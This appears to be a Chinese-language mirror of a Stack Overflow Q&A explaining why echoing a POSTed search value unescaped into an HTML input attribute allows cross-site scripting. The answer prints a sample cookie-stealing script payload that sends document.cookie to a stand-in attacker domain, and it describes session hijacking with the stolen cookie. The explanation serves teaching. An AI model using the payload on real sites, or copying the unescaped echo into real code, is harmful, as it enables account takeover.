php - 为什么将posted变量打印到html代码中会导致XSS?

标签 php html mysql security pdo

我有一个搜索表单:

<form method="POST"> 
    <input type="search" name="q">
    <input type="submit" value="Search" name="search">
</form>

然后在 PHP 文件中:

if( isset($_POST['q']) ){

    //Assigning the posted query to a variable.
    $query = $_POST['q'];

    //Get matches from the DB.
    $stmt = $conn->prepare('SELECT * FROM posts WHERE title OR description LIKE  :s');
    $stmt->bindValue(':s', '%' . $query . '%', PDO::PARAM_STR);
    $stmt->execute();
    $count = $stmt->rowCount();

    //if there are matches.
    if($count > 0){

        //Get the matches.
        $matches = $stmt->fetchAll();
        foreach($posts as $post){
             //Do Something.
        }
    }
}

现在一切都很好,我想,为什么如果我执行以下操作:

<input type="search" value="<?php if(isset($_POST['q'])){echo $_POST['q'];} ?>" name="q">

或者:

 <input type="search" value="<?php if(isset($query)){echo $query;} ?>" name="q">

这可能会导致攻击?

最佳答案

攻击者可以使用 XSS 向毫无戒心的用户发送恶意脚本。

例如,攻击者可以在他的网站中制作一个表单,该表单会重定向到您的地址,其中包含以下内容:

<input type="search" value="<?php if(isset($_POST['q'])){echo $_POST['q'];} ?>" name="q">

通过使用这种方法,攻击者可以做一些简单但危险的事情。

最危险的事情之一是((复制并使用目标用户的cookie))。这意味着攻击者可以在他的表单中键入此默认值:

"><script>document.location='http://Hacker'sDomain.com/cookiestealer.php?cookie='+document.cookie;</script>

如您所见,黑客可以轻松保存目标用户的 cookie...

现在黑客有了用户的cookie(假设用户已登录)。因此他可以轻松地将其放入浏览器的控制台并以目标用户身份登录!!:

document.cookie="Stealed Cookie Here!";
<小时/>

为了更好地理解,您可以通过在浏览器控制台中执行 document.cookie 来复制您的 cookie,并通过执行以下命令将其粘贴到另一个浏览器或 PC:document.cookie="Put the Copy cookie 在这里”

请注意,每个网站和每次登录时保存的 cookie 都是不同的,因此很难,黑客需要一点机会来做到这一点:)

P.S:您可以按 F12 访问浏览器的控制台。

<小时/>

如果您想让我用更多代码解释更多内容,请在评论中说:)

关于php - 为什么将posted变量打印到html代码中会导致XSS?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/51459004/

相关文章:

php - 我的访问 token 策略是好的做法还是容易受到攻击?

php - 使用 php 清理 url 以实现 seo 友好

php - 使用 jquery 和复选框构建查询字符串

php - 每月佣金计算 PHP

javascript - 如何通过 Google Calendar API v3 永久访问我自己的 Google Calendar?

javascript - 谷歌分析事件跟踪代码(单选按钮)

html - 以 Twitter Bootstrap 为中心不起作用

javascript - HTML5 checkValidity 和不可见字段

php - JSON 数据通过 AJAX 到 DIV

mysql - 如何连接到另一台主机上的MySQL服务器?